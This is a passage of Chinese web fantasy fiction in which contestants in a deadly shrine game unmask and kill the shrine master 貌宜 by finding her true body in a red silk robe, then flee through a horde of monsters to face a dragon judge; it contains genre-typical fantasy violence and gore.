柳鸷本不想管的,但听见草丛里有人喊着:“柳鸷......救我。”她走近一看,竟然是谷栖夏。
谷栖夏奄奄一息,看起来脆弱而无害。
“你怎么还活着?”柳鸷都以为她淹死了。
谷栖夏:“......”
谷栖夏幽幽的说:“当时没上你们的船,被洪水冲走后,在水里和龛苦苦纠缠,我好不容易活下来,想去找你们就晕倒了,幸好醒来听到了你们的声音。”
柳鸷半信半疑,扭头问秦为墨,“能看出她有没有被龛感染吗?”
谷栖夏咬着下唇,衔冤负屈道:“你不想救我,也不用这样诋毁我。”
柳鸷没理谷栖夏,她必须保证其他选手的安全,小心为上准没错。
秦为墨瞳孔泛起金光,扫过谷栖夏,“没事,可以带回。”
于是,曲皓尧背上谷栖夏一同回去。
织染坊内,选手们在万宝子的高压指挥下,洗火草,撕绒......但,不见柏封棠的踪影。
“美人姐姐你们回来啦,师兄已经将指挥事宜,全权交由我了。”肩负重担的万宝子像个小大人般,忙里抽空的说:“要制什么衣裳,你可以和我说哦。”
火草衣的织法是在人体衣架进行圈线织衣,且丝质与罗绮的所用的蚕丝完全不同。
柳鸷担心到时候被发现,就先和万宝子说:“好,你等下,我先找下你师兄。”
“师兄?在里头修织机呢
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,昨晚机机烧坏了。”
柳鸷找到柏封棠,将今日的事宜转告,并说出了自己的揣测。
柏封棠修着黑乎乎的木织机,手上动作没停,只说:“死马当活马医,用丝织法织火草线试试。”
得了首肯,柳鸷跑出去叫住万宝子和秦为墨,“我们要织一件罗绮,桑蚕丝织技艺手册在哪?我想研究下。”
秦为墨将手册递给柳鸷,柳鸷和两人低语了两句,才捧着手册到一旁去翻阅。
所有人选手都在为了完成一件龛品而忙碌。
火草线上织机前,被柳鸷泡了几个时辰,柔软了很多,看着和蚕丝有八分像。
机杼声不停歇,整整一天一夜。
终于,在翌日日落前,将龛品制作好。
夜幕降临,寒衣龛正式在不巅庙开幕。
选手们来庙时,庙殿门口悬挂着两个大红灯笼,石柱与横梁上皆布着红绸带花。明显是布置过,看着十分喜庆。
庙殿正中央的巨大神像,依旧无鼻无唇,唯有一双垂下的眼睛,在满横梁的红灯笼的照耀下显得有些可怖。
庙殿两侧布满了蚕丝,犹如铁丝网般牢牢的焊在窗棂上,上百只白色的蚕虫在网上攀爬、蠕动着。
柳鸷毫不怀疑,这些蚕网一会儿会像激光般,两面推进,将选手切割掉成碎尸块。
曲皓尧左右一瞧,忿恨着:“这狗娘养的丝。”
选手们陆续进场,齐聚在庙殿里,等候龛主出场。
戌时一到,庙殿门口传来一阵“桀桀桀”的笑声。
“晚上好,各位。欢迎大家来到寒衣龛!我是你们的新龛主,二号。”一个崭新的人彘木偶从门口蹦蹦跳跳地进来。
貌宜温顺的,紧随其后。
一旁的选手嘀咕:“切!还二号!怎么傻傻的还把自己的分身身份给坐实了。”
旋即,庙殿门嘭的自动关上,蚕丝迅速爬满了门。
他们被锁在庙殿里了。
人彘木偶跳上供案,从供品里挑了一颗苹果啃住,丰溢的汁水从人彘木偶的嘴角涎下,摆了摆手说:“貌宜,开始吧。”
貌宜点点头,挥手,一具木制的十字人形架子出现在中央。“现在,请选手们将龛品摆上衣架。”
柳鸷觉得不对劲,这个人形衣架粗糙、劣质,还染着片状的血渍。
这不像衣架,更像是地牢里绑人的十字刑架。
貌宜见选手们毫无动作,便禀明道:“龛主,选手没有准备......”
“等等。”柳鸷望向陈离翡,陈离翡和万宝子蹲在秦为墨身后的地上,扒拉着罗绮,“好了好了。”
两人一起将罗绮展开,披上人形衣架。
一件织有缠枝牡丹的红罗绮,华丽丽的呈现在众人眼前。
“不可能!你们怎么还有蚕丝制作衣裳?”人彘木偶的眼睛定睛一看,“不,这......怎么是一件女裳?”
柳鸷将衣裳与供案保持了一段距离,避免人彘木偶和貌宜发现这并非蚕丝衣。
柳鸷面上还是一本正经,“是啊,我们献给龛主的就是女裳。”
人彘木偶的眼珠瞪得凸起,质问:“你什么意思?内涵本龛主有异装癖吗?本龛主不喜欢这件衣裳,你们——”
见龛主生气了,几个选手也在怀疑柳鸷是不是做错了。
“二号,你不过是个嘴替!你没有资格评判龛品。真正有资格的,是你的龛主——貌宜。”
22. 寒衣龛(二十二)
貌宜微微诧异,转过身看向柳鸷,“柳选手,你认错了,龛主在供案上。”
柳鸷从右手袖口里掏出两根发丝,“认得吗?”
“这是我第一次遇见你时,蚕茧爆炸,我拽着你逃跑时,不小心拽下了你的发丝。当时,我随手揣进了袖口里。”
柳鸷手指的发丝偏黄,且细软,与貌宜当前的发质如出一辙。
貌宜缓和又平静道:“那又能说明什么?”
柳鸷笑了下,用火点燃发丝,丢在左侧,离蚕丝网约一丈远的地上。
火,不紧不慢地将两根头发烧成灰烬。
淡淡的烟雾,扩散四周。
紧接着,蚕丝网上的蚕虫似有感应,纷纷蠕动,往发丝的方向爬去。
百条蚕虫,接踵而至。
“不巅村被你屠尽后,你感染了蚕虫作为工具,所以,蚕虫会本能的爬向最熟悉的母体气味。”柳鸷昨日采集火草时,蚕虫往她手腕里钻,就开始察觉了。
发丝的烟雾很快消散殆尽,余下的蚕虫没了引导,乱在一地。
忽然,蚕虫快速朝柳鸷的方向爬来。
貌宜轻笑着:“那为什么这些蚕虫只爬向你,不爬向别的人呢?”
柳鸷眼中闪过一丝狐疑,抬脚往左迈了两步。
一群蚕虫调转方向,跟着柳鸷而来。
柏封棠指了指柳鸷的衣襟,“你的袖口有头发的余香。”
柳鸷揣着两根头发放在袖口里行了一路,难免留下残香,蚕虫的复眼感光并不发达,但嗅觉特别灵敏。
眼见蚕虫爬至她的脚前,柳鸷使法力倏地振飞蚕虫,但蚕虫死缠烂打的又爬向她。
柳鸷怀疑龛主可以暗中操控这些蚕虫。
“你这托词谁信啊?”貌宜挑拨离间道:“选手们,说不定你们的柳鸷才是真正的龛主哦。”
柏封棠本欲出手帮忙,柳鸷拦住,她本无意杀蚕虫,是它们自己找死。
柳鸷面带愠色,探手将周围的蚕虫全部吸至掌心前,密密麻麻的形成一团白色,五指猝然收紧,蚕虫被震得支离破碎。
柳鸷扬了扬手,垂着眼,安静的站着。
她明白,若无法证明貌宜是龛主,那么红罗绮便是失败的龛品。
“敢污蔑柳鸷!我第一个不信!”陈离翡说。
“对啊!柳鸷那么帮我们,怎么可能是龛主。”
......
选手们你一言我一语的争论时,柳鸷的手突然拔刀,猛地朝人彘木偶和貌宜之间的空气中,砍下一刀。
倏然,浮现出一条断裂的红色丝线,断开,落到地上。
而红线两端,分别连接着人彘木偶与貌宜的左胸口。
人彘木偶难以置信的垂下眼睛,一句话也说不出,瞬时倒在祭台上,撞翻了供品,酒水瓜果滚落一地。
众人惊讶!
陈离翡错愕着,“嗯?柳鸷,说好的淑女动口不动手的,你怎么还急眼了。”
方才有一阵微弱的气流流过,隐约在人彘木偶和貌宜之间滞了一瞬,柳鸷并不确信,试探性的砍了一刀。
“是傀术!人彘,只是貌宜的提线木偶。”秦为墨说。
陈离翡激动着:“龛主真的是她,那我们没做错衣裳。”
“是啊是啊!柳鸷你太棒了!我们有救了!”
正中央的巨大神像抬眼,缓缓的长出鼻子、嘴巴,这分明是貌宜的脸。
貌宜身上的粗衣裹布化为齑粉,落下,褪去质朴与单纯。
貌宜青丝垂地,眼尾上挑,红唇微扬,露着藕白的肩臂,仅是以数余片翠绿、鲜嫩的桑叶覆身蔽体,看着是一位极其清冷又美艳的龛主。
“柳鸷,你很聪明。我都不明白哪里露出了破绽。”貌宜漫不经心的抬手,纤纤玉手摘下胸前的一片桑叶,微启红唇,咬着、拧着、送进嘴里,美味的咀嚼。
柳鸷说:“你的演技很好,是其他事物无意中出卖了你。”
是老头龛说过的,在他的记忆中,貌宜从来都是粗衣裹布。
是蚕虫、蚕蛹喜欢貌宜的气息,在她面前乖顺的表现。
更是石棺中的两具人彘与古诗提示。
种种线索结合,柳鸷才大胆揣测的。昨日,她在织机区和柏封棠表明想法后,得到他的支持,才将龛品制成一件女裳。
貌宜凝望着柳鸷,勾唇笑了。
她优雅的弯腰,在满地的水果中,拾起一颗最红的苹果,摩挲着,朝柳鸷递出,“到我这里来?我知道你要什么。”
柳鸷动了动唇,刚想拒绝,柏封棠挡在了她的身前。“你一个要死的龛,还想动我的人陪葬?”
貌宜捂唇低笑,歪头,瞥向柳鸷,失落道:“看来你是拒绝我了。”
貌宜退回供案,把玩着红苹果,宣布:“这衣裳我不喜欢,选手们参龛失败。”随即,她拍了拍手。
选手们还来不及问她哪里不喜欢,貌宜身旁凭空出现了近三十个龛,个个人身蛾翅,手握巨斧,拖在地上。
曲皓尧看向其中两个龛,惊讶又哽咽着:“真真,晓姝是你们吗?你们失踪了我还以为你们已经死了。”
眼前的龛就是之前消失的选手,但它们空洞的眼神瞥了一眼曲皓尧,并无叙旧之意。
“认出来了啊,那更好!”貌宜抬手,覆在一个龛的肩膀上,转而雀跃的对选手们说:“让你们曾经最亲近的战友,将你们一个一个砍成人彘,永远的陪伴在它们身边,也不失为一桩美谈。”
曲皓尧大声指责,“你说话不算数!是不是不管我们做什么衣裳,只要你一句不满意就统统算失败?”
“噢~被你发现啦!”貌宜笑嘻嘻的,毫不在意底下谩骂成一片的选手。
选手们辛辛苦苦做的衣裳,在此刻成了一个笑话。
惹得陈离翡疾言喷喷:“你这个臭女人!想杀我们还七骗八骗的,你丑陋的就像阴沟里的臭老鼠,肮脏!”
貌宜的目光捕向陈离翡,紧紧的。
貌宜随意挥了挥手,三十个龛拖着巨斧向前,沉重的巨斧与地面摩擦出“沙沙沙”的,像牙齿磨着瓜子壳的响声。
激得柳鸷的寒毛都竖起来了。
选手们惊惧的往后退了两步,发现四周的窗棂紧闭,蚕丝扰动,退无可退了。
“我们和它们拼了!”人群中,曲皓尧低沉的咆哮声划破了庙檐。
选手们两两合作,和龛们正面决杀。
巨斧与刀剑激烈碰撞,撞出清脆又刺耳的咣当声。
一声一声,声声作响,场面乱作一团。
柳鸷站在柏封棠旁边观望。
刀剑难挡巨斧的锋利,曲皓尧的刀被劈断了。巨斧顺势往曲皓尧的手肘劈下——
风驰电掣间,柏封棠甩出法扇横穿巨斧,斧面顿了下,径直断裂,摔在地上。
柳鸷诧异,柏封棠竟然主动出手救人?
龛持着木棍飞起,继续追杀曲皓尧。柏封棠并不管这种没有威胁性的决斗,指挥法扇转向下一把巨斧。
曲皓尧不负所望,一刀将龛劈开。
貌宜藕白的长腿交叠着,端坐在供案上,咔擦咔擦的咬着红苹果,见一把把巨斧被法扇击碎、一个个龛死掉化为蚕蛹,被落下的一盏盏红灯笼焚烧尽,也依旧不急不慢的咀嚼着果肉,像在玩儿似的。
忽然,貌宜瞟向红罗绮,丢掉半颗红苹果跃下供案,展手以法力吸住人形衣架。
秦为墨闪身而过,脱下红罗绮。
趁秦为墨抱衣之时,貌宜将人形衣架转向陈离翡,用力一带。
“
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啊——墨墨救命!”
陈离翡腾空飞到貌宜跟前,被貌宜掐着脖颈按在人形衣架上,捆住了四肢。
“你这个贱女人!别碰我!”陈离翡发狂的挣扎着。
“碰你又怎样。”貌宜手中幻化出一把利斧,伸向陈离翡的嘴巴,“把你割成人彘,看你还怎么叫!”
秦为墨迅速将红罗绮丢给柳鸷,跃向前方救陈离翡。
秦为墨手持擒元刀劈向貌宜,后者以利斧反挡之。
冷器交错,光影疾如闪电。
秦为墨法力骤起,刀刃上流转起金色的光芒,持续进攻,激起利斧上的黑气。
两道法力太强盛了,每一次碰撞都闪爆着绚烂夺目的火花,撼动着庙殿内的人如临地震般。
秦为墨一次挥过虚空,让貌宜钻了空机,利斧带着黑气砍下。
“墨墨小心——”
秦为墨虽错身而过,躲过锋利的斧刃,但也还是被黑气所伤,整个人冲飞在地上,呕出了一口血。
陈离翡心疼,挣扎、扭着身体,水蓝裙袍发出悉索的声音,怒目圆瞪着貌宜大骂:“贱女人!敢伤我家墨墨,天雷滚滚立马劈死你这老巫婆——”
“闭嘴!”貌宜恶趣味的,想要羞辱陈离翡。
貌宜当着众人的面,举起利斧左右一顿挥,“每次见你,你这张嘴仗着有人撑腰都这么狂妄,现在撑腰的人都成了我的手下败将了,你——”
利斧未伤及陈离翡分毫,但水蓝裙袍从她身上破裂,如花瓣般掉在了地上。
露出了垒满六块腹肌的精瘦身体。
貌宜顿住了。
柳鸷也顿住了:“.................................”说好的一辈子姐妹,怎么变了性呢?
柳鸷的内心遭受到了一万点的暴击!!!
但众选手却见怪不怪。
柳鸷瞪着大眼,一双覆着金币驳链的手掌捂住她的眼睛,“非礼勿视!”
柳鸷闭了闭眼,又睁开,扒拉下柏封棠的手。
人形衣架上的陈离翡胸口是一片平坦,充红的眼睛,狠厉地朝微怔的貌宜咆哮着:“他妈的!敢撕老子衣裳!老子要杀了你全家!”
貌宜缓了下,轻快的将利斧抵在地上,轻笑着拍了拍陈离翡的脸颊,“原来是个带把的!真正的异装癖是你啊!”
“死女人别碰我!你再碰我一下!我做鬼也不会放过你的。”
“你做不了鬼,你只能做我的人彘,我肚子里的蛔虫。”貌宜歪头想了想,“噢!听说你怕女人啊,可惜你从女人的肚子里来,又要不争气的回到女人的肚子里咯~”
貌宜咧着嘴,举起利斧放在陈离翡的鼻梁上,“我先割掉你的鼻头肉尝尝,味道应该不错。”
这时,秦为墨的身影宛如鬼魅跃进,寒光在离貌宜三尺处闪过,貌宜反应过来,艰难的提斧回击,却挥了个空。
秦为墨的擒元刀没有在上方,而是在下方往左,划出一道金色的电弧。
糟糕!中计了!
秦为墨的刀刃以一个极其诡异的角度,将貌宜从胳肢窝处砍成了两半。
貌宜上下半身一晃,唰啦一下,倒在了地上,黑紫色的血汹涌地溢出。
众人都惊诧,龛主就这么死了?
万宝子更是从邻近庙门边的石柱后跳出来,高兴的拍着小手,大喊:“天呐!龛主死了啊!秦大哥,你好厉害啊!”
秦为墨用法力解开陈离翡的四肢,拖着陈离翡往后躲避,“你高兴的太早了。她没死。上阶龛,未杀真身,便是不死身。”
地上,貌宜的两半肉身淌在血里,一抽一抽的动着,卒然迅速接合在一起。
貌宜从地上爬了起来,扭了一圈脖颈,发出咯噔咯噔的声响。
23. 寒衣龛(二十三)
貌宜咧着嘴,牙齿里溢出血,直勾勾的扫过众人。
“这、不是她的真身?”柳鸷狐疑。
“嗯。龛的真身并非是人,可以是具象或不具象的任何事物。”柏封棠睇向柳鸷的手。
供案前,貌宜霎时出手,放出数千条蚕丝,锐利的蚕丝如蛇般狂舞动着,游向选手。
柏封棠跃向前方,手执法扇将四面八方的蚕丝拢过,蚕丝蜷着法扇一圈又一圈,圈成厚厚的蚕茧。
蚕茧急速抖动,骤然嘭得一声破开,万锯法扇幻化成一把冷冽的玄铁锯剑,刃如精密的扇齿,锋芒毕露的闪着寒光,蚕茧粉碎成雪粒状落下。
貌宜被剑力贯地连连后退数步,才堪堪稳住。
柏封棠握剑,跃迁向貌宜,貌宜也不甘示弱,迎难而上。
一金一黑的两道电弧在半空中激烈交锋、厮杀,动作狠且快,令躲在石柱后偷看的选手们眼花缭乱。
貌宜的利斧急切的朝柏封棠砍去,柏封棠敏捷闪过,反守为攻。他剑法精湛,步步逼近貌宜,貌宜几步后退,渐生疲软。
柏封棠动如行云流水,瞅准破绽,以一个极其灵动、诡异的身法蹿向前,锯剑划出一道银色轨迹,震得四周的空气在颤栗。
众选手屏息凝视!
貌宜躲闪不急及,被划开了眼睛,上半层眼睛连着头盖骨被削飞,黑紫色的血如抛物线溅在地上。
曲皓尧见落到脚边的半个头盖骨,立即举刀狂砍,“让你作恶多端,老子砍死你。”
前方,貌宜的身体一震,缓缓倒下。
但没一会,仅剩半个头颅的貌宜如诈尸般,慢慢抽动,被曲皓尧砍得碎裂的头骨,一片一片的回到她的脑袋上拼凑。
缓缓地,貌宜又爬了起来。
貌宜的眼球没了,眼窝空洞洞的溢着血,阴笑道:“你们杀不死我的!再来一百次也是一样!”
貌宜摸了摸眼眶上的血,送进嘴里舔着,“本来还想和你们玩玩,现在!你们死定了!”
貌宜忽然跃起,展开双臂召唤,蚕丝网疯长着,从窗棂上离开,三面推进,选手们吓得往中间跑,正中貌宜下怀。
貌宜感觉到人涌动着,高举利斧无差别攻击选手——
“趴下!”柏封棠砍断利斧,一剑横扫,方才还在叫嚣的蚕丝网像痿了一样,断裂在地。
柏封棠护住选手,将貌宜的火力集中在他的掌控间。
庙殿中央,柏封棠和貌宜连连过招。
貌宜像一只打不死的蟑螂,每一次死去后又复活。但柏封棠好像一点也不意外,反而乐此不疲、游刃有余的和貌宜奉陪到底,空隙间还寻了柳鸷一眼。
柳鸷抱着红罗绮躲在石柱后,和柏封棠默契的对视上。
她瞧瞧柏封棠,又看看貌宜身上的桑叶,想起石棺内壁的古诗。
遍身罗衣者。
如果只是字面意思呢?
柳鸷揪紧手中的红罗绮,这该不会是......
柳鸷福至心灵,打算验证下自己的猜想。趁柏封棠把貌宜往神像处打,柳鸷悄速绕到供案后方,展开红罗绮。
柏封棠见状,一个扫堂腿横扫过去,貌宜跃起向后躲开,还没站稳。柳鸷就从她身后飞扑上来,将红罗绮披在貌宜的肩膀上,抬脚又是一踹。
貌宜微怔,堪堪稳住身形,急切的想要脱下红罗绮,但柏封棠的剑更快,径直捅进貌宜的心口。
貌宜毫无防备,硬生生被锯剑的强力贯穿,连带的红罗绮一同被钉在神像上,黑紫的血缓缓的流下,划过神像金身。
貌宜娇小的身躯与巨大的神像,形成鲜明的对比。
貌宜错愕的低头,不可置信的看着锯剑,原本是披在肩膀上的红罗绮像被施了魔法,广袖套进貌宜藕白的手臂,穿在了她身上。
柏封棠隔空收回锯剑,貌宜缓缓的从神像上滑落,摔在供案,又滚落在地上,狼狈的很。
貌宜的血不断溢在地板上,她黑黝黝的眼眶寻向柳鸷,虚弱而苍白的问:“是你吧柳鸷?除了你,没有人会知道到我将真身寄于一件尚未出世的罗绮上。”
“我只是根据石棺内的诗,猜着试一试。”柳鸷说。
“猜——”貌宜的话被一刀捅进腹部,戛然而止。
是陈离翡。
他光着膀子,抄起秦为墨的刀,猛冲向前,一刀捅进貌宜的腹部,骂咧咧着:“敢扒老子的衣裳!老子捅死你!”陈离翡拔出,又捅了一刀。
貌宜痛得闷哼,气息奄奄。
方才还怕得要死的选手们见状,纷纷拔刀,效仿陈离翡,泄愤似的捅进貌宜,骂着。
“作恶多端的龛主!死了也是罪有应得!”
“你杀了这么多人,万剑穿心都是便宜你了!”
......
貌宜娇小的身体,像个刺猬一样,前前后后插满了冷冽的刀剑,没有一块肉是好的。
但她咬着牙,漠然承受,毫不在意众人的指责。
“去死吧!到黄泉路上向死去的人、死去的蚕磕头认错!”不知道谁吼了一句,似乎戳中了貌宜的痛点。
貌宜垂死中惊坐起,情绪爆发,疯狂嚎叫:“我没有错!!!是人!是人该死!”
貌宜呕出一口血,脱力的软下身,像似陷入自己的世界里,控诉道:“蚕衣的初始,是野蚕自愿作丝,为寒冷的人披上衣裳,不再挨冻。久了,人不再满足于取暖,开始贪婪的饲养蚕,杀蚕取丝,织制更美丽的罗绮。”
“人啊,为了自己活得更轻松些,吃、穿皆是通过野蛮、残酷的手段屠杀生灵所得。人和龛有何区别?而我杀了这些人,又何错之有?”
曲皓尧跳出来,反驳:“大家别被她的苦情戏骗了!蚕从古至今都是因为人类的需要而得到更多的繁衍,它们应该感谢人类才对。”
貌宜呸了一口血,“你们这些人,真像愚蠢的养蚕人。辛辛苦苦养了那么多的蚕、也杀了那么多的蚕,可所有的劳动成果,不全都献给了高高在上、身着罗绮的人。他们不劳而获的剥削着养蚕人,而养蚕人永永远远,缺衣少食,真是可悲啊!”
曲皓尧不知道想到什么,噤了声,选手们也面面相窥。
柳鸷拧眉,淡淡的开口,“貌宜,你所诉的压迫与不公在任何一个族群都会存在,包括龛,否则你为何会被封印在神龛里?所以不必再挑拨离间了。你身为龛,残杀人族,这是两个族群间的斗争。”
不论是族内或族群间的斗争,自始至终都遵循着丛林法则的自然属性。
物竞天择,适者生存。
“你自以为可以主宰一切,替蚕做主,皆是对的。你陷入了自己的执念,模糊了族群的界限,你野蛮的杀戮手段和杀蚕的人又有什么区别?”
貌宜阴恻侧的大笑,直勾勾的望向柳鸷,扬起唇,“小柳老师,你还是以前的样子,还是那么理智。”
“你、认识我?”柳鸷疑惑。
貌宜没有回答,只是苦笑着,笑急了呕出大量的黑血,“小柳老师,我......给你留了礼物......你会喜欢的。”
貌宜撑起半边身子,想要脱掉身上的红罗绮,她边咳边喃喃道:“下一辈子......我再也不做养——”
貌宜无力的倒在地上,红罗绮半脱半披着。<
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“她死了。”柏封棠已将锯剑变为法扇,擦拭白玉扇骨上的黑血。
柳鸷看着貌宜的脸庞,一头雾水,心里却有一种古怪的感觉。她想了想,伸手欲要将红罗绮帮她脱下,了结她的夙愿。
但貌宜的尸体瞬间化为骸骨,柳鸷的手僵住,瞳孔上的红字突然在众目睽睽下浮现,柳鸷连忙合上眼皮,垂下头。
黑暗中,观众满意值亮了,还是之前的「10%」。
“是金条!”有人大喊了一声,柳鸷抬起眼缝,貌宜的骸骨上,显现出十块金条。
选手们眼冒金光,蜂拥而上,抢夺金条。
柳鸷手快,摸了两条,想撤退到一旁,却骤然被一道劲力逮住,拉出人群。
柏封棠像拎着一只绵羊般,拎着柳鸷的后衣领,“跑什么?”
柳鸷的手挥过眼前,红字散去,解释着:“怕被他们踩踏,想跑出来。”
“那刚刚为什么乱跑?”
柳鸷明白他是指刚刚她绕道貌宜身后去的事。
柳鸷一脸无辜,“不是你示意我,用红罗绮套貌宜吗?”
柏封棠:“......”
他只是想看下某人躲在哪里,是否藏好了,没料到某人抱着一件红罗绮满场子乱跑,还阴差阳错找到了龛主的真身。
柳鸷不以为意,拉着柏封棠的衣袖打掩护,偷偷递了一块金条给他,悄声道:“给你。”
柏封棠:“?”
柳鸷笑嘻嘻的,“奖励你的,你今晚......有了怜悯之心。”
柏封棠略顿,好笑道:“给你吧,就当你歪打正着立了功。至于你说得怜悯。”柏封棠痞里痞气道:“那是什么东西?我没有。”
“我救他们,不过是因为昨日某人借我的名号谎称,帮我种植草莓,便可保他们一命,‘草莓’种成了,我也得替某人实现承诺。”
“啊?”柳鸷囧,挠了挠手心,有些尴尬,复问:“那下次......”
“下不为例。”柏封棠沉声,“我只破例保他们一回,出了这个庙门,你的承诺便兑现完成了,接下去的命运看他们自己。”
正中央的神像嘶得一声,裂开了。
镀金的碎片破碎砸下,选手们还在抢金子。
庙殿上,有几个男选手在抢一块金条,陈离翡赤着半身扑在其中抢夺。
一块块金条在选手们的抢夺间被法力劈成了一片片金箔,一粒粒金豆。
柳鸷快速将金条融进身体,大喊了声:“庙要塌了!你们还抢!不要命了?”
选手们微怔,神像的金身碎片、供果、横梁零零碎碎往下砸,现场混乱不堪。
选手们也不顾上再抢,一边将抢到的几片金箔或金豆融进身体里,一边心满意足往外跑。
选手们争先恐后的跑出去,大家推搡着,拥挤的往外涌动。
等不及开门,殿门承受不住,被选手们掀倒在地上。众人踩着门板跑出,还没几步,稠墨的夜色里,透过前方弥漫的大雾,传来一声惨厉的喊叫!
紧接着是利器咔得一声,浓重的血腥气味四处散开。
选手们急冲冲的脚步被惊得戛然而止。
柳鸷刚跑出门,迷雾渐渐后退,几步之遥的台阶下,露出了一个又一个的人身蛾翅的龛,摩肩接踵的拖着巨斧,面无表情如死尸般僵走。
更远的迷雾中,一双双幽幽绿光的鬼眼翻越庙墙,攒动着,朝他们而来。
所有人都惊呆了,死死的瞪着眼睛,望着人山人海的龛。
有选手颤着音问:“这、这该不会就是貌宜死前说的,送给柳鸷的礼物吧?”
24. 寒衣龛(二十四)
陈离翡反驳:“你胡说什么!刚刚还是柳鸷救了大家。”
“可貌宜最后说得,不就是指柳鸷吗?”
“是啊,她们说不定以前就认识呢!”
......
几个选手吵囔着,柳鸷面无表情,静静的看着各怀鬼胎的一群人。
柏封棠鹰隼般扫视而过,大家都不敢作声了。
乌鸦的喊叫,尖锐的划破夜空。随着庙殿的神像不断的砸下,整个不巅庙,径直坍塌了下来——
塌成一个无底的深渊大洞。
台阶下的龛们,涌了上来,不断逼近。选手们,前往是同龛们决一死战,往后是坠入无底深渊的未知恐惧。
进退两难间,曲皓尧已举着刀前进,高喊:“我们放手一搏,杀出一线生机,冲啊——”
近二十位选手与上千个龛混战。
龛实在太多了,且攻势越来越凶猛。
后方的龛飞起,一个斧头砍伐下去,韦舟的头颅被劈开,温热的血从脖子上喷涌而出。
正在杀龛的柳鸷,瞳孔上的红字又亮了,她闭上眼睛挥了下,消失又亮起。
怎么办?
她不能让别人看到。
柳鸷干脆的撕下肘间的一节红色帔帛,覆住眼睛系在后脑。柳鸷透过红纱,瞥见正望向她的柏封棠,解释:“眼睛不太舒服。”
柏封棠颔首,并未多问。
柳鸷听见秦为墨喊了一声,“小翡,上来。”
有人明白秦为墨的意图,“秦哥你不能当逃兵,你要留下来和我们一起对付龛。”
秦为墨还未开口,陈离翡大声反诘:“狗屁逃兵!龛主已死了,破龛成功!这片土地已标记成人类的地盘,回阙庭的门肯定也开了。这些龛对不对付都无所谓,你们赶紧各自逃去门处吧。”
陈离翡跳上秦为墨的背,朝众选手摆摆手,“我们先走咯,有缘阙庭见。”
秦为墨背着陈离翡跃迁在龛的头上,一路砍杀,突出重围。
地上尸横遍野,有选手、有龛。
龛连杀了几个选手,有人哀求:“柏神,你救救我们!”
柏封棠冷冷的,“你们要学会自救。如果每一个神龛,每一个选手都要我救,我会累死。”
柳鸷明白,神龛内就是这么残酷,适者生存。柏封棠救一次,那弱者也会死于第二次、第三次......
柳鸷不想落得和这些选手一样,她还有未完成的事情,必须要变强、要活下去。
柳鸷腰间一紧,是柏封棠左手揽住了她,“抓稳,我带你离开。”
柏封棠带着柳鸷突出重围,万宝子紧随其后。
身后传来凄厉的惨叫,以及曲皓尧的吼声:“我们和这些狗东西拼了!给我杀——”
柳鸷瞳孔上的数字突然狂跳。
「10.01%」
「10.06%」
「10.11%」
......
柳鸷验证性的回头望,断壁残垣前厮杀成一片,不知道是人还是龛,或是其他原因造成的。
柳鸷的观众满意值在狂飙!
柏封棠带着两人,追上了秦为墨和陈离翡。
万宝子往后瞧,“后面好像还有人追上来了。”
是谷栖夏和江琥。
陈离翡惊奇,“哇,你们俩还挺厉害的。”
谷栖夏擦了一把脸上的血迹,高傲的冷哼,“这次回到阙庭,我能升到内舍甲等。”
江琥低垂着脸,想起谷栖夏方才抢夺同伴金子,一路逃跑又一路推同伴当替死鬼,拖住龛的做法。
他不认同,但不会戳穿。
因为谷栖夏带着他逃出来了,他也是这个做法的既得利益者。
不堪的人不止谷栖夏,还有他自己。
一行人摸黑往桑树林里去,寻找回到阙庭的门。
选手们最初是通过门,从阙庭来到神龛的,落地的第一地点就是桑树林。一般来到神龛的第一地点,就是门所在。
门会在破龛后出现,欢迎幸存的选手回家。
一行人刚到树林,忽然,漆黑的夜空晃得一下,亮了。
一片灰蒙蒙的天。
紧接着,又一下子陷入了漆黑。
仿佛一个人刚睡醒,朦胧的睁眼复又闭眼假寐,在醒来与入睡间,反反复复。
江琥惊惧着问:“怎......怎么回事?”
柏封棠说:“是焚龙,醒了。”
南方龛域,司寇焚龙,闭眼为夜,开眼为昼。
谷栖夏愣住,声音都带着颤抖,着急的,“它来审判我们了。我们赶紧找门,回到阙庭去。”
陈离翡慢悠悠的:“你又没犯规,急什么急?”
天空忽明忽暗的闪烁,一条蛇身人面的巨龙穿过黑夜、穿过白昼,从树林呼啸而来,令人心生恐惧。
巨龙直直撞上了柏封棠的眼睛,四目相对,柏封棠纹丝未动。
哐当一下,天空彻底的亮了。
柳鸷透过红纱,看清了焚龙。蛇身通银,粗壮,约有三百尺长,脖子上系了一条酷似领带的玄色丝绸。
一头潦草的粉色卷发披散着,人面妖冶,额头上两个银灰色的龙角竖立,几丝粉发的如美纹般缠绕着。
焚龙咧开嘴,露出锋利的獠牙,“又见面了,柏选手。”
柏封棠没理它,反而是陈离翡不耐烦,“死粉龙,废话少说,快点审判,别耽误我回阙庭睡觉。”
秦为墨赶忙捂住陈离翡的嘴,懊恼他这天不怕地不怕,只怕女人的怪性格。
焚龙没有生气,反而打了个哈欠,“小爷也好困啊,来吧,快点审判完,小爷也好回窝睡个回笼觉。”
焚龙摊开锐利的爪子,凭空握住一纸卷轴,默念着:“神赐予我审判之权,我将以神的名义,审判违规者。”
焚龙翻开卷轴,审判道:“寒衣龛,违规者一,龛主貌宜违背寒衣龛宴会规则,立即处决......咦,貌宜已经死了。好吧,那二......”
“违规者二,谷栖夏违规夺取同伴徐昊、楚炎辰、闻玲珑的金子,收为己用,立即处决。”
柳鸷想,难怪当时看见不巅庙台阶上的骸骨觉得不对劲,原来是少了金子。
谷栖夏不服,颤栗着辩驳,“我......没有......抢夺。我返回时看见了金子......是龛它们不要,我只是捡走了龛不要的金子。对!我没有违规!”
在神龛里,只有杀人者,才可以支配死者的金子。徐昊等人都是被龛杀死,那么他们身上的金子应归为龛所有。
焚龙冷冷道:“就算龛不要,你也不能据为己有。”
谷栖夏还想狡辩,但焚龙锐利的爪子,猛地朝她捅去。
谷栖夏下意识的拉人往前挡,结果伸手抓了个空,心想自己死定了。
“江琥!”
谷栖夏耳边响起柳鸷惊愕的声音,预料之中的痛苦没有如约而至。
是江琥,主动挡在了谷栖夏面前,被焚龙捅穿了身体。
江琥的嘴角溢出鲜血,看着焚龙,低低的说:“这一命,我替她死。求您饶她一命。”
焚龙冷漠的收手,江琥残缺的手,捂住血流不止的腹部,回首,望向谷栖夏,“这一命,我还给你了。”
谷栖夏呆滞住了,难以置信的望着眼前高大
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的懦夫,混乱的思绪里冒出一个念头。
江琥大概是用尽了毕生的勇气,才敢迈出这一步。
江琥无力的瘫软在地上,柳鸷不忍心,上前扶住他。
